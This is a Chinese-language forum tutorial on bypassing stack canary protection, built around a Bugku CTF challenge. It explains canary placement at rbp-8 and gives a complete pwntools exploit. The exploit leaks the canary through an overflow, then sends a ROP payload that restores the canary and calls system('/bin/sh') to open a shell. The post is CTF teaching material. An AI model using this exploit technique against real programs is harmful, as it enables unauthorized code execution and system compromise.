canary绕过

打印 上一主题 下一主题

主题 982|帖子 982|积分 2946

canary保护简介

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
当canary被打开,那么程序在最开始会把fs寄存器里面的值放进栈底的某个地方(通常32位程序是rbp-4,64位是rbp-8),当栈在使用完毕之前,会对这个地方的值进行异或检测,如果这个值被修改,那么程序就会报错。
  1.     High
  2.     Address |                 |
  3.             +-----------------+
  4.             | args            |
  5.             +-----------------+
  6.             | return address  |
  7.             +-----------------+
  8.     rbp =>  | old ebp         |
  9.             +-----------------+
  10.   rbp-8 =>  | canary value    |
  11.             +-----------------+
  12.             | 局部变量        |
  13.     Low     |                 |
  14.     Address
复制代码
我们知道,一般的栈溢出都是用gadget碎片进行攻击,也就意味着我们必须要溢出到返回地址的位置,那么栈底也会被覆盖,这样程序一定会报错,这样就达不到我们入侵的效果。
鉴于以上的原因,canary如今被广泛的用于栈保护的第一道防线。
那么如何绕过它呢?此处我们详细介绍一个绕过方式。
泄露canary地址

字符泄露

经过刚才的介绍,我们已经知道了canary是程序中的一个值,那我们就可以通过泄露这个值的地址,然后在溢出时将栈底需要检测canary的那一块地址原封不动的写入canary,实现绕过的效果。
用bugku的例题canary - Bugku CTF

用ida打开,反编译得到

不难看出read函数有栈溢出漏洞,但是在最开始有一个v6 = __readfsqword(0x28u);这个就是canary防护的标志,其他开有canary防护的大差不差都有这种函数特征。
看看汇编代码,发现是将fs寄存器里的值放到了rbp-8的位置

再看看字符串,system和/bin/sh都有。

checksec一下,发现确实开了canary

那么这个时候就要先打印出canary的地址,然后再溢出,溢出的过程中把canary的地址给到rbp-8的位置以绕过防护
下面直接贴出exp
  1. from pwn import*
  2. sh = process('./pwn4')
  3. #sh = remote(ip,port)
  4. context.log_level = 'debug'
  5. payload1 = b'a'*568      #rbp-8的位置
  6. sh.recvuntil(b"name(Within 36 Length):")
  7. sh.sendline(payload1)
  8. sh.recvuntil(b'a'*568 + b'\n')   #发送字符后会有回显,吸收掉这些回显
  9. canary = u64(b'\x00' + sh.recv(7))  #首先,因为地址排序是小端序的,canary地址没有问题,但是地址后面还需要加上一个'\x00'结尾,所以'\x00'必须遵循小端序加在开头的位置,然后才能把泄露的canary地址加上去,64位程序的canary的大小是8个字节,从0开始数,所以recv(7),32位程序的canary的大小是4个字节,从0开始数,应该recv(3)
  10. print(hex(canary))               #打印canary地址,进行验证
  11. sh.recvuntil(b'Please leave a message(Within 0x200 Length)')
  12. pop_rdi_ret = 0x0000000000400963
  13. system_addr = 0x400660
  14. binsh_addr = 0x0000000000601068
  15. payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)   #构造payload
  16. sh.sendline(payload2)
  17. sh.interactive()
复制代码
其他绕过方式

[(8条消息) pwn]ROP:三道题讲解花式绕过Canary栈保护_breezeO_o的博客-CSDN博客

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

耶耶耶耶耶

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表